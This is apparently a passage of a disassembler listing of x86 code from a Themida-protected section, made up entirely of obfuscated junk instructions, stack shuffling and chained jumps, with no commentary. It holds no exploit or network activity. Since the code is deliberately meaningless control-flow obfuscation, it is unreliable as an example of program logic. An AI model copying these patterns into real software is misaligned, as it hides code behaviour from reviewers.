Themida_:0055DF2Cj xchg eax, ecx push 47D9h mov [esp], ecx not dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_562B80 ; --------------------------------------------------------------------------- loc_55CD53: ; CODE XREF: Themida_:0055E084j pop edi mov esi, edx pop edx push esi pop eax pop esi pop ebp jmp loc_550420 ; --------------------------------------------------------------------------- loc_55CD60: ; CODE XREF: Themida_:00552544j jmp loc_550420 ; --------------------------------------------------------------------------- loc_55CD65: ; CODE XREF: Themida_:0055A237j pop edx jmp loc_5642DC ; --------------------------------------------------------------------------- loc_55CD6B: ; CODE XREF: Themida_:00564A84j pop ecx sub ax, 640Ah sub ax, dx add ax, 640Ah pop edx push small 3E3Ah jmp loc_555975 ; --------------------------------------------------------------------------- loc_55CD81: ; CODE XREF: Themida_:0055A603j mov esi, esp add esi, 4 sub esi, 4 jmp loc_5638D4 ; --------------------------------------------------------------------------- loc_55CD91: ; CODE XREF: Themida_:00557CF1j mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] mov esp, [esp] mov [esp], esi push esp pop esi push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], eax mov eax, 6E1F407Bh and eax, 48D5304Bh shl eax, 5 jmp loc_560A90 ; --------------------------------------------------------------------------- loc_55CDD2: ; CODE XREF: Themida_:0056432Aj xchg ebx, [esp] jmp loc_5522C7 ; --------------------------------------------------------------------------- loc_55CDDA: ; CODE XREF: Themida_:0055842Cj mov eax, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_5580CB ; --------------------------------------------------------------------------- loc_55CDF2: ; CODE XREF: Themida_:0055AEEDj push ebx mov bl, 77h or bl, 0B5h or bl, 0DFh jmp loc_551F16 ; --------------------------------------------------------------------------- loc_55CE00: ; CODE XREF: Themida_:00555D96j neg eax sub eax, 3861E361h add esi, eax mov eax, [esp] add esp, 4 push ecx mov ecx, 19E47C63h and esi, ecx jmp loc_55CE66 ; --------------------------------------------------------------------------- loc_55CE1C: ; CODE XREF: Themida_:0055F117j sub ecx, 7A963F0h add ecx, ebx add ecx, 7A963F0h pop ebx xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] jmp loc_55AD62 ; --------------------------------------------------------------------------- loc_55CE3C: ; CODE XREF: Themida_:00564251j push edi mov edi, esp jmp loc_5533EC ; --------------------------------------------------------------------------- loc_55CE44: ; CODE XREF: Themida_:0055584Dj sub edi, edx pop edx add edi, 1 shr edi, 4 xor edi, 0E1F34B5Eh sub esi, edi pop edi add eax, esi mov esi, [esp] add esp, 4 jmp loc_553C4C ; --------------------------------------------------------------------------- loc_55CE66: ; CODE XREF: Themida_:0055CE17j pop ecx shr esi, 6 push ebp push esp pop ebp jmp loc_556FD5 ; --------------------------------------------------------------------------- loc_55CE72: ; CODE XREF: Themida_:0055B773j pop ebp push ebp mov ebp, 1AEF1AD0h sub eax, ebp pop ebp add eax, 794D11C7h add eax, ebx push edi push ebp mov ebp, 69E00293h mov edi, ebp pop ebp jmp loc_561D82 ; --------------------------------------------------------------------------- loc_55CE92: ; CODE XREF: Themida_:00555BECj push dword ptr [esp+4] mov edi, [esp] add esp, 4 pop dword ptr [esp] pop esp mov ax, [esp] push esi mov esi, esp push edx mov edx, 4 add esi, edx mov edx, [esp] jmp loc_560D21 ; --------------------------------------------------------------------------- loc_55CEBA: ; CODE XREF: Themida_:00553E22j dec dl xor dl, 79h add bl, 0F2h add bl, dl sub bl, 0F2h pop edx jmp loc_55258E ; --------------------------------------------------------------------------- loc_55CECD: ; CODE XREF: Themida_:00556760j xor edi, ebx mov ebx, [esp] jmp loc_554F07 ; --------------------------------------------------------------------------- loc_55CED7: ; CODE XREF: Themida_:00563345j mov dh, 0ABh jmp loc_5644F8 ; --------------------------------------------------------------------------- loc_55CEDE: ; CODE XREF: Themida_:00560DA0j pop eax sub edx, eax jmp loc_55913D ; --------------------------------------------------------------------------- loc_55CEE6: ; CODE XREF: Themida_:0055C364j and edi, 18BD3362h inc edi push ecx mov ecx, 736C320Ch inc ecx add ecx, 4AA07CF5h xor ecx, 2F4C4FC4h jmp loc_55E6CB ; --------------------------------------------------------------------------- loc_55CF05: ; CODE XREF: Themida_:0055C0EFj push esi push esp pop esi push edi mov edi, 4 add esi, edi pop edi sub esi, 4 xchg esi, [esp] mov esp, [esp] mov [esp], eax push ebp push 58D026Ch pop ebp push ecx mov ecx, 58D0268h xor ebp, ecx pop ecx push ebp pop eax pop ebp add edx, eax mov eax, [esp] push edi mov edi, esp sub esp, 4 mov [esp], ebx mov ebx, 4 jmp loc_55D722 ; --------------------------------------------------------------------------- loc_55CF4E: ; CODE XREF: Themida_:005643F1j xor esi, 5B2C0D52h sub esi, 0E810714Eh jmp loc_561CB7 ; --------------------------------------------------------------------------- loc_55CF5F: ; CODE XREF: Themida_:0055EEA8j push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] push 2B33h mov [esp], edx push ebx push 72C4h mov [esp], eax jmp loc_560730 ; --------------------------------------------------------------------------- loc_55CF80: ; CODE XREF: Themida_:00559DF4j mov edi, 2DF81F6Ch sub [esp+8], edi pop edi jmp loc_55A540 ; --------------------------------------------------------------------------- loc_55CF8F: ; CODE XREF: Themida_:005569F9j add dword ptr [esp], 5FB12F9Ch push dword ptr [esp] mov esi, [esp] jmp loc_551B70 ; --------------------------------------------------------------------------- loc_55CFA1: ; CODE XREF: Themida_:0055DEE7j mov [esp], eax push edi jmp loc_561B2C ; --------------------------------------------------------------------------- loc_55CFAA: ; CODE XREF: Themida_:00556142j push eax add dword ptr [esp], 3CC51C42h jmp loc_5596DD ; --------------------------------------------------------------------------- loc_55CFB7: ; CODE XREF: Themida_:0056493Dj mov edi, 530928E9h shr edi, 5 or edi, 33136363h xor edi, 4C3B5CECh mov ecx, edi pop edi push ebx mov ebx, 1D7705AAh xor ebx, 62D73225h push ebx pop esi jmp loc_56526B ; --------------------------------------------------------------------------- loc_55CFE1: ; CODE XREF: Themida_:005649C0j xchg esi, ebp not esi xchg esi, ebp inc ebp add ebp, 205060B3h jmp loc_559F23 ; --------------------------------------------------------------------------- loc_55CFF3: ; CODE XREF: Themida_:0055179Bj xor edx, [esp] jmp loc_55FB94 ; --------------------------------------------------------------------------- loc_55CFFB: ; CODE XREF: Themida_:0055633Dj add eax, ecx pop ecx pop edx xor edi, eax pop eax push esi mov esi, 6B3A4C94h sub ecx, esi pop esi add ecx, edi add ecx, 6B3A4C94h mov edi, [esp] add esp, 4 push ecx jmp loc_563E45 ; --------------------------------------------------------------------------- loc_55D022: ; CODE XREF: Themida_:00562EBDj push edx mov edx, esp jmp loc_551EC5 ; --------------------------------------------------------------------------- loc_55D02A: ; CODE XREF: Themida_:0055F624j xor ebx, ebp jmp loc_55A39E ; --------------------------------------------------------------------------- loc_55D031: ; CODE XREF: Themida_:0055DE27j sub bl, 0D8h add bl, dl add bl, 0D8h pop edx jmp loc_554F38 ; --------------------------------------------------------------------------- loc_55D03F: ; CODE XREF: Themida_:00560311j push 689607CDh pop esi not esi not esi jmp loc_55248E ; --------------------------------------------------------------------------- loc_55D04E: ; CODE XREF: Themida_:00565862j mov esp, [esp] jmp loc_562868 ; --------------------------------------------------------------------------- loc_55D056: ; CODE XREF: Themida_:00563609j sub ebp, ebx sub ebp, 21C92F8Fh jmp loc_55999C ; --------------------------------------------------------------------------- loc_55D063: ; CODE XREF: Themida_:00556C34j mov al, 8Bh dec al or al, 0C8h not al push ebx mov bh, 0D5h add al, bh pop ebx add cl, 4Ch sub cl, al jmp loc_55C733 ; --------------------------------------------------------------------------- loc_55D07B: ; CODE XREF: Themida_:00555A7Bj sub esp, 4 mov [esp], esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp jmp loc_556C39 ; --------------------------------------------------------------------------- loc_55D08F: ; CODE XREF: Themida_:0055D6C8j push ebx push 3C6C7325h pop ebx dec ebx dec ebx push edi mov edi, 43754FD0h dec edi shl edi, 6 add edi, 5B5D9083h xor ebx, edi pop edi mov edx, ebx pop ebx xor ecx, edx pop edx rep movsd add esp, [edx+38h] push 2171h mov [esp], eax mov eax, esp add eax, 4 sub eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp mov [esp], ebx mov ebx, 12796797h push ebp push 59CA4D51h jmp loc_56110E ; --------------------------------------------------------------------------- loc_55D0E7: ; CODE XREF: Themida_:00558C0Dj pop ebp jmp loc_55ECF8 ; --------------------------------------------------------------------------- loc_55D0ED: ; CODE XREF: Themida_:00565314j pop esp pop dword ptr [esp] jmp loc_565986 ; --------------------------------------------------------------------------- loc_55D0F6: ; CODE XREF: Themida_:00564454j pop ecx add ebx, 0ECC7020Bh add esi, ebx mov ebx, [esp] jmp loc_55839F ; --------------------------------------------------------------------------- loc_55D107: ; CODE XREF: Themida_:0055FF9Ej xor ecx, 47966AB2h jmp loc_559F72 ; --------------------------------------------------------------------------- loc_55D112: ; CODE XREF: Themida_:00561DBFj add esp, 4 push 33B8h mov [esp], ebx push 1A3Dh mov [esp], ebp mov ebp, 27515BF9h mov ebx, ebp pop ebp sub esi, 143D37ADh sub esi, 5C9E1B2Ah jmp loc_561B86 ; --------------------------------------------------------------------------- loc_55D141: ; CODE XREF: Themida_:0055138Dj pop dword ptr [esp] pop esp or eax, eax jz loc_5530CF push 2854h mov [esp], eax mov eax, 1Ch push esi mov esi, 2A862F2Ch shl esi, 7 push 66EBh mov [esp], eax mov eax, 0D93A501Ch sub esi, eax jmp loc_561DAA ; --------------------------------------------------------------------------- loc_55D177: ; CODE XREF: Themida_:0055B766j mov [esp], ebx jmp loc_552CC9 ; --------------------------------------------------------------------------- loc_55D17F: ; CODE XREF: Themida_:005601C6j push esp pop esi add esi, 4 sub esi, 4 xchg esi, [esp] jmp loc_5573E3 ; --------------------------------------------------------------------------- loc_55D192: ; CODE XREF: Themida_:00565A07j sub bl, 65h add bl, ch push ecx jmp loc_55DF78 ; --------------------------------------------------------------------------- push edi push esp pop edi add edi, 4 sub edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp mov [esp], eax sub esp, 4 push esp pop dword ptr [esp] push ebp mov ebp, 4 add [esp+4], ebp jmp loc_55614F ; --------------------------------------------------------------------------- loc_55D1CF: ; CODE XREF: Themida_:00563ED1j pop edx xchg edi, [esp] jmp loc_55DC13 ; --------------------------------------------------------------------------- loc_55D1D8: ; CODE XREF: Themida_:00558D52j mov ecx, ebp pop ebp not ecx jmp loc_564FD3 ; --------------------------------------------------------------------------- loc_55D1E2: ; CODE XREF: Themida_:00553A4Bj jmp loc_550420 ; --------------------------------------------------------------------------- loc_55D1E7: ; CODE XREF: Themida_:005636E9j mov dl, 3Fh push edx mov dh, 0A3h add dh, 8Dh jmp loc_55E7B8 ; --------------------------------------------------------------------------- loc_55D1F4: ; CODE XREF: Themida_:005628A6j push edi push 646Ch mov [esp], edi jmp loc_55F663 ; --------------------------------------------------------------------------- loc_55D202: ; CODE XREF: Themida_:005527FEj inc esi push edi jmp loc_55F992 ; --------------------------------------------------------------------------- loc_55D209: ; CODE XREF: Themida_:00550DBEj pop esp mov [esp], ebx push eax mov ah, 0BBh push edx mov dl, 12h sub ah, dl pop edx push ecx mov ch, ah mov bl, ch pop ecx pop eax push edx mov dh, 0D6h sub bl, dh pop edx shr bl, 8 or bl, 8Dh add bl, 0DCh add al, 0ADh add al, bl jmp loc_563061 ; --------------------------------------------------------------------------- loc_55D235: ; CODE XREF: Themida_:005564D9j push eax jmp loc_5598F2 ; --------------------------------------------------------------------------- loc_55D23B: ; CODE XREF: Themida_:005539ACj mov [esp], ecx jmp loc_550420 ; --------------------------------------------------------------------------- loc_55D243: ; CODE XREF: Themida_:00555B8Bj mov esp, [esp] push 532h jmp loc_55F3C6 ; --------------------------------------------------------------------------- loc_55D250: ; CODE XREF: Themida_:00563D9Fj mov [esp], bx mov bh, 65h sub al, bh pop bx sub al, dl jmp loc_5608D3 ; --------------------------------------------------------------------------- loc_55D261: ; CODE XREF: Themida_:0055478Aj and esi, eax jmp loc_563D2B ; --------------------------------------------------------------------------- loc_55D268: ; CODE XREF: Themida_:00564ADCj push edx jmp loc_55345E ; --------------------------------------------------------------------------- loc_55D26E: ; CODE XREF: Themida_:0055F65Ej sub esp, 4 mov [esp], ebx mov ebx, 31865F0Ah push esi jmp loc_564F8F ; --------------------------------------------------------------------------- loc_55D27F: ; CODE XREF: Themida_:00554E62j pop edi jmp loc_5569E2 ; --------------------------------------------------------------------------- loc_55D285: ; CODE XREF: Themida_:00562837j push edi mov edi, 51EA17DEh jmp loc_552FB7 ; --------------------------------------------------------------------------- loc_55D290: ; CODE XREF: Themida_:005547A5j add ecx, 4 push 135Fh jmp loc_554C01 ; --------------------------------------------------------------------------- loc_55D29D: ; CODE XREF: Themida_:00561138j pop esi xor ebp, [esp] jmp loc_557D20 ; --------------------------------------------------------------------------- loc_55D2A6: ; CODE XREF: Themida_:0055C870j pop edx push ecx mov ecx, esp push ebp mov ebp, 4 jmp loc_554E2D ; --------------------------------------------------------------------------- loc_55D2B5: ; CODE XREF: Themida_:0055DC0Ej mov ebp, 63AA0F12h shr ebp, 3 neg ebp shl ebp, 6 jmp loc_551BAB ; --------------------------------------------------------------------------- loc_55D2C7: ; CODE XREF: Themida_:00555195j xor ebx, 2C256FE8h add ebp, ebx jmp loc_55C9BC ; --------------------------------------------------------------------------- loc_55D2D4: ; CODE XREF: Themida_:0055F37Aj mov cx, [esp] jmp loc_55E831 ; --------------------------------------------------------------------------- loc_55D2DD: ; CODE XREF: Themida_:005612C7j dec ebx add ebx, 1 push esi mov esi, 1FE92565h not esi or esi, 19506573h shl esi, 1 dec esi xor esi, 255238E9h xor esi, 0F316CE0Fh sub ebx, 13C60B02h sub ebx, esi add ebx, 13C60B02h pop esi neg ebx push eax mov eax, 1D8E2E21h add ebx, eax jmp loc_55EFF0 ; --------------------------------------------------------------------------- loc_55D31F: ; CODE XREF: Themida_:005625CEj push 7B909ECh pop eax not eax and eax, 2D33737Eh jmp loc_559F96 ; --------------------------------------------------------------------------- loc_55D331: ; CODE XREF: Themida_:00552241j push esi mov esi, esp jmp loc_55318E ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax adc [esp], al pushf jmp loc_550420 ; --------------------------------------------------------------------------- lodsd add eax, 52674603h push 2E4Bh mov [esp], edx jmp loc_550BAD ; --------------------------------------------------------------------------- loc_55D35B: ; CODE XREF: Themida_:0055C097j xchg esi, [esp] jmp loc_55C5CF ; --------------------------------------------------------------------------- loc_55D363: ; CODE XREF: Themida_:00559C38j shr bl, 5 push 4F7h jmp loc_561D12 ; --------------------------------------------------------------------------- loc_55D370: ; CODE XREF: Themida_:0055CB7Dj push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp push esp pop dword ptr [esp] push edx mov edx, 4 add [esp+4], edx mov edx, [esp] add esp, 4 pop edi push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], eax push ebx mov ebx, 4 mov eax, ebx mov ebx, [esp] add esp, 4 add edi, eax jmp loc_565AC4 ; --------------------------------------------------------------------------- loc_55D3BF: ; CODE XREF: Themida_:0055FEA1j push ebp jmp loc_55AF4B ; --------------------------------------------------------------------------- loc_55D3C5: ; CODE XREF: Themida_:0055B818j xor ecx, 71BE61AAh add ebx, ecx pop ecx push 1524h mov [esp], esi mov esi, 4 push esi mov esi, 4C025224h and esi, 89D1FFCh xor esi, 3DE155B1h add ebx, esi pop esi sub esp, 4 mov [esp], eax mov eax, 725356B1h add ebx, eax jmp loc_55A8F3 ; --------------------------------------------------------------------------- loc_55D405: ; CODE XREF: Themida_:00552AAAj sub al, cl add al, 6Eh push edx mov edx, esp jmp loc_550DB2 ; --------------------------------------------------------------------------- loc_55D411: ; CODE XREF: Themida_:0056460Aj add esp, 4 push dword ptr [esp] pop ebx push 6EDAh mov [esp], ebp push esp pop ebp add ebp, 4 push eax mov eax, 4 add ebp, eax pop eax xchg ebp, [esp] jmp loc_55B320 ; --------------------------------------------------------------------------- loc_55D439: ; CODE XREF: Themida_:00565038j push 7E01h mov [esp], esi add dword ptr [esp], 60DB0ACFh pop edi push esi mov esi, 60DB0ACFh jmp loc_5507B1 ; --------------------------------------------------------------------------- loc_55D454: ; CODE XREF: Themida_:0055255Bj pop edi jmp loc_55E9AF ; --------------------------------------------------------------------------- loc_55D45A: ; CODE XREF: Themida_:0056519Bj pop eax pop ebx shl esi, 1 shr esi, 4 and esi, 24D56E5Ah sub esi, 1 push ebp mov ebp, 7DC36593h shl ebp, 4 and ebp, 143A3B7Bh push ebp sub dword ptr [esp], 0FFFFFFFFh jmp loc_55716F ; --------------------------------------------------------------------------- loc_55D489: ; CODE XREF: Themida_:0055A666j pop ecx add esi, ebx pop ebx pop eax add esi, 2 xor esi, [esp] xor [esp], esi jmp loc_55606B ; --------------------------------------------------------------------------- loc_55D49F: ; CODE XREF: Themida_:005655E6j add eax, 3C5FEAD4h mov edx, eax jmp loc_565470 ; --------------------------------------------------------------------------- loc_55D4AB: ; CODE XREF: Themida_:0055F9C1j push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp and eax, ebx push dword ptr [esp] push dword ptr [esp] jmp loc_55F433 ; --------------------------------------------------------------------------- loc_55D4CB: ; CODE XREF: Themida_:00555811j sub al, dh add al, 36h mov edx, [esp] add esp, 4 jmp loc_55FB6D ; --------------------------------------------------------------------------- loc_55D4DA: ; CODE XREF: Themida_:0055212Fj sub ebx, 0E1EEBB3Dh sub ecx, 69F13D1h add ecx, ebx push edx jmp loc_550B2C ; --------------------------------------------------------------------------- loc_55D4EE: ; CODE XREF: Themida_:00562776j add ebx, edx pop edx add ebx, edx push edi jmp loc_558173 ; --------------------------------------------------------------------------- loc_55D4F9: ; CODE XREF: Themida_:00554740j push ecx mov ecx, esp push esi mov esi, 0D6C4873h xor esi, 6C6E7039h and esi, 8FB3861h push edi mov edi, 23844h jmp loc_55ACE1 ; --------------------------------------------------------------------------- loc_55D519: ; CODE XREF: Themida_:00562AC7j add eax, 4 xchg eax, [esp] jmp loc_564F12 ; --------------------------------------------------------------------------- loc_55D526: ; CODE XREF: Themida_:0055E95Aj mov esi, [esp] add esp, 4 add ecx, ebp mov ebp, [esp] add esp, 4 push 8Bh jmp loc_554B62 ; --------------------------------------------------------------------------- loc_55D541: ; CODE XREF: Themida_:0055736Ej pop eax push 5Fh mov [esp], ebp jmp loc_55E44D ; --------------------------------------------------------------------------- loc_55D54F: ; CODE XREF: Themida_:0056420Cj push esi mov esi, 497D033Bh shr esi, 4 add esi, 29D838C4h neg esi shr esi, 2 shl esi, 8 add esi, 0FC46F69h sub ecx, 0CBB7D9Eh sub ecx, esi add ecx, 0CBB7D9Eh mov esi, [esp] jmp loc_5641D6 ; --------------------------------------------------------------------------- loc_55D582: ; CODE XREF: Themida_:005550E4j xor bl, al movzx eax, al jmp loc_554DE1 ; --------------------------------------------------------------------------- loc_55D58C: ; CODE XREF: Themida_:00559EF9j add al, 7Bh push edx mov dl, 0D9h push esi mov esi, esp add esi, 4 jmp loc_5610B3 ; --------------------------------------------------------------------------- loc_55D59F: ; CODE XREF: Themida_:00560967j mov edx, [esp] add esp, 4 sub esp, 4 jmp loc_559B82 ; --------------------------------------------------------------------------- loc_55D5B0: ; CODE XREF: Themida_:0055B52Ej add dword ptr [esp], 4 push dword ptr [esp] pop edi add esp, 4 push ecx push ebx jmp loc_55C537 ; --------------------------------------------------------------------------- loc_55D5C5: ; CODE XREF: Themida_:00552497j mov ah, dl pop edx mov dh, 67h sub dh, ah pop eax not dh inc dh sub dh, 1 not dh push bx push edx mov dl, 2Eh add dl, 67h neg dl jmp loc_563169 ; --------------------------------------------------------------------------- loc_55D5E5: ; CODE XREF: Themida_:005540EBj add edx, 4 xchg edx, [esp] pop esp push 18Eh mov [esp], ecx jmp loc_5519EE ; --------------------------------------------------------------------------- loc_55D5FC: ; CODE XREF: Themida_:00550A5Fj mov ecx, [esp] push edi push esp mov edi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push edx mov edx, 4 sub edi, 338B1AAAh add edi, edx jmp loc_552A3D ; --------------------------------------------------------------------------- loc_55D627: ; CODE XREF: Themida_:005545D9j dec al dec al jmp loc_5608A7 ; --------------------------------------------------------------------------- loc_55D630: ; CODE XREF: Themida_:0055DC90j push ebp jmp loc_55E02F ; --------------------------------------------------------------------------- loc_55D636: ; CODE XREF: Themida_:0055EB47j add ecx, 4 push eax mov eax, 4 add ecx, eax pop eax xchg ecx, [esp] pop esp dec esi sub esp, 4 jmp loc_558F75 ; --------------------------------------------------------------------------- loc_55D652: ; CODE XREF: Themida_:005538FAj add esp, 4 push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ecx mov ecx, 4 add esi, ecx jmp loc_5655AE ; --------------------------------------------------------------------------- loc_55D673: ; CODE XREF: Themida_:005530F9j sub esi, 4 xchg esi, [esp] pop esp jmp loc_55E0E8 ; --------------------------------------------------------------------------- loc_55D682: ; CODE XREF: Themida_:0055E754j inc ebx or ebx, 4F4755C7h add ebx, 4AADBFBCh mov edx, ebx jmp loc_553F91 ; --------------------------------------------------------------------------- loc_55D696: ; CODE XREF: Themida_:0056333Ej xchg ebx, [esp] pop esp add edx, 7050C95h jmp loc_555125 ; --------------------------------------------------------------------------- loc_55D6A5: ; CODE XREF: Themida_:0055F58Aj add edx, 18A52665h push dword ptr [esp] pop ecx add esp, 4 push eax mov eax, 2 sub edx, 655E2478h jmp loc_55BF6D ; --------------------------------------------------------------------------- loc_55D6C3: ; CODE XREF: Themida_:00557804j pop esi shr ecx, 4 push edx jmp loc_55D08F ; --------------------------------------------------------------------------- loc_55D6CD: ; CODE XREF: Themida_:00557B97j push edx mov edx, 30CD63D5h add ebp, edx pop edx add ebp, edi push esi mov esi, 58C5514Dh and esi, 12DE3EE3h jmp loc_55F4F2 ; --------------------------------------------------------------------------- loc_55D6E9: ; CODE XREF: Themida_:0055C05Bj pop esi shr esi, 2 xor esi, edx xor edx, esi jmp loc_561FCD ; --------------------------------------------------------------------------- loc_55D6F6: ; CODE XREF: Themida_:00559788j pop eax jmp loc_5567AD ; --------------------------------------------------------------------------- loc_55D6FC: ; CODE XREF: Themida_:00555F50j mov [esp], ebx mov bh, dl jmp loc_553988 ; --------------------------------------------------------------------------- loc_55D706: ; CODE XREF: Themida_:00552859j add [esp+4], ebp add dword ptr [esp+4], 39035DBEh sub dword ptr [esp+4], 72712E10h push dword ptr [esp] jmp loc_564529 ; --------------------------------------------------------------------------- loc_55D722: ; CODE XREF: Themida_:0055CF49j add edi, ebx pop ebx add edi, 4 xchg edi, [esp] pop esp xchg edx, [esp] mov esp, [esp] push 6E19h jmp loc_5601CB ; --------------------------------------------------------------------------- loc_55D73F: ; CODE XREF: Themida_:0055ABE5j mov ebx, 56932B76h mov edi, 42C90AFFh or edi, 7F746A26h not edi not edi push esi mov esi, 296A3F87h sub edi, esi pop esi sub edi, ebx mov ebx, [esp] jmp loc_55A7D3 ; --------------------------------------------------------------------------- loc_55D766: ; CODE XREF: Themida_:0055F91Dj sub esi, edx pop edx dec esi or esi, 703B1B91h sub esi, 44732BD0h xor esi, 4FD472E2h jmp loc_5533CF ; --------------------------------------------------------------------------- loc_55D781: ; CODE XREF: Themida_:00554A3Cj push dword ptr [esp] mov edi, [esp] add esp, 4 push ecx mov ecx, esp jmp loc_5608AD ; --------------------------------------------------------------------------- loc_55D795: ; CODE XREF: Themida_:00552F0Cj push 3474h mov [esp], ecx jmp loc_564D76 ; --------------------------------------------------------------------------- loc_55D7A2: ; CODE XREF: Themida_:00559859j or ecx, 439002E2h dec ecx neg ecx add ecx, 4AC74540h add ecx, 0B13442A5h add [esp+4], ecx pop ecx pop ecx push ebx jmp loc_562F85 ; --------------------------------------------------------------------------- loc_55D7C3: ; CODE XREF: Themida_:0055E7E1j mov edx, [esp] jmp loc_553078 ; --------------------------------------------------------------------------- loc_55D7CB: ; CODE XREF: Themida_:005547EAj push edi push 69D02289h pop edi and esi, edi pop edi jmp loc_55BA51 ; --------------------------------------------------------------------------- loc_55D7DA: ; CODE XREF: Themida_:005583B0j inc eax xor eax, 41830A7Bh add esi, eax pop eax jmp loc_55E3BB ; --------------------------------------------------------------------------- loc_55D7E8: ; CODE XREF: Themida_:00561099j push ebp jmp loc_55FAEF ; --------------------------------------------------------------------------- loc_55D7EE: ; CODE XREF: Themida_:00564A0Aj push 4751h mov [esp], esi push edx push 0E170BB3h pop edx sub edx, 0FFFFFFFFh xchg ecx, edx not ecx xchg ecx, edx push ebp mov ebp, 44A02F89h shl ebp, 3 xchg eax, ebp inc eax xchg eax, ebp xor ebp, 0C02CD631h jmp loc_558B0F ; --------------------------------------------------------------------------- loc_55D81D: ; CODE XREF: Themida_:0055DEA2j mov al, dh push edx mov dl, al mov bh, dl mov edx, [esp] jmp loc_55943F ; --------------------------------------------------------------------------- loc_55D82C: ; CODE XREF: Themida_:00562DFEj add al, 0D9h sub bl, 11h add bl, al jmp loc_554199 ; --------------------------------------------------------------------------- loc_55D838: ; CODE XREF: Themida_:00550CD4j add edx, 49B9515Fh add edx, 3A836982h jmp loc_56269D ; --------------------------------------------------------------------------- loc_55D849: ; CODE XREF: Themida_:0055BAB9j push esi mov esi, 9E56211h xor edx, esi jmp loc_560637 ; --------------------------------------------------------------------------- loc_55D856: ; CODE XREF: Themida_:0055D9B1j mov edi, ebp pop ebp and edi, 2C5908C1h or edi, 7F6F577Ah push edx push 5FECh mov [esp], esi mov esi, 3A12C99h mov edx, esi pop esi shr edx, 4 dec edx shr edx, 7 push esi mov esi, 1DFE27CCh not esi xor esi, 97DADFE9h sub edx, 1F403C05h add edx, esi jmp loc_5547AA ; --------------------------------------------------------------------------- loc_55D898: ; CODE XREF: Themida_:00553C1Cj sub eax, esi pop esi add ebx, eax pop eax mov edi, [esp] add esp, 4 add ebx, 594E7051h add edx, 53337E02h add edx, eax push esi mov esi, 4BB44CC1h jmp loc_55F6DE ; --------------------------------------------------------------------------- loc_55D8BD: ; CODE XREF: Themida_:00556EECj mov ebp, [esp] add esp, 4 pop dword ptr [esp] pop esp add esp, 4 push ebp mov ebp, 62C26069h dec ebp jmp loc_5629A3 ; --------------------------------------------------------------------------- loc_55D8DC: ; CODE XREF: Themida_:005556A0j add edx, 4 push esi push edx mov edx, 30F6247Fh jmp loc_560171 ; --------------------------------------------------------------------------- loc_55D8EE: ; CODE XREF: Themida_:0055545Cj xor [esp+4], ecx jmp loc_55F269 ; --------------------------------------------------------------------------- loc_55D8F7: ; CODE XREF: Themida_:0055C98Dj mov ebx, 554707D0h add ebp, ebx jmp loc_5630D6 ; --------------------------------------------------------------------------- loc_55D903: ; CODE XREF: Themida_:00561C3Aj mov ebx, 2 add ebp, ebx jmp loc_565CB6 ; --------------------------------------------------------------------------- loc_55D90F: ; CODE XREF: Themida_:00551BE8j shl ecx, 7 sub esp, 4 mov [esp], esi jmp loc_55F89B ; --------------------------------------------------------------------------- loc_55D920: ; CODE XREF: Themida_:0055A441j mov [esp], ecx jmp loc_5508E8 ; --------------------------------------------------------------------------- loc_55D928: ; CODE XREF: Themida_:00564847j push 1173h mov [esp], esi mov esi, 29715142h and edx, esi pop esi and edx, 6B782F3Eh jmp loc_562B70 ; --------------------------------------------------------------------------- loc_55D943: ; CODE XREF: Themida_:0055FB41j pop esp mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] jmp loc_56406F ; --------------------------------------------------------------------------- loc_55D954: ; CODE XREF: Themida_:00561EF1j and ecx, 6CBB4C3Bh or ecx, 3674284Bh dec ecx not ecx sub ecx, 2792301Ah xor ecx, 0CB7127C8h xor edi, ecx pop ecx jmp loc_55BC72 ; --------------------------------------------------------------------------- loc_55D977: ; CODE XREF: Themida_:005532C0j not dword ptr [esp] jmp loc_5630AE ; --------------------------------------------------------------------------- loc_55D97F: ; CODE XREF: Themida_:005524FEj pop ebx pop dword ptr [esp] pop esp sub esp, 4 mov [esp], eax mov eax, 4 sub esi, 173388Dh add esi, eax add esi, 173388Dh jmp loc_558E23 ; --------------------------------------------------------------------------- loc_55D9A2: ; CODE XREF: Themida_:00565561j mov [esp], edi push ebp mov ebp, 254C5178h add ebp, 5871E48h jmp loc_55D856 ; --------------------------------------------------------------------------- loc_55D9B6: ; CODE XREF: Themida_:0055F7F2j shr eax, 6 shl eax, 1 jmp loc_5630E8 ; --------------------------------------------------------------------------- loc_55D9C0: ; CODE XREF: Themida_:00562CBFj add edx, ebp pop ebp push eax jmp loc_565AA5 ; --------------------------------------------------------------------------- loc_55D9C9: ; CODE XREF: Themida_:0056571Cj mov [esp], edi mov edi, 4 jmp loc_55BAA1 ; --------------------------------------------------------------------------- loc_55D9D6: ; CODE XREF: Themida_:0056591Bj push dword ptr [esp+4] pop edx jmp loc_56455B ; --------------------------------------------------------------------------- loc_55D9E0: ; CODE XREF: Themida_:00554641j add esp, 4 jmp loc_55B420 ; --------------------------------------------------------------------------- loc_55D9E8: ; CODE XREF: Themida_:00553B35j mov [esp], ebp mov ebp, 4321361Eh push eax mov eax, 27B867E9h add ebx, eax pop eax sub ebx, ebp push esi mov esi, 31D3416Bh jmp loc_55978D ; --------------------------------------------------------------------------- loc_55DA06: ; CODE XREF: Themida_:005613E2j push edi mov edi, esp jmp loc_55ACC7 ; --------------------------------------------------------------------------- loc_55DA0E: ; CODE XREF: Themida_:0055B919j add esp, 4 push edi mov edi, 4 jmp loc_55A857 ; --------------------------------------------------------------------------- loc_55DA1F: ; CODE XREF: Themida_:00557B84j pop eax shr edi, 6 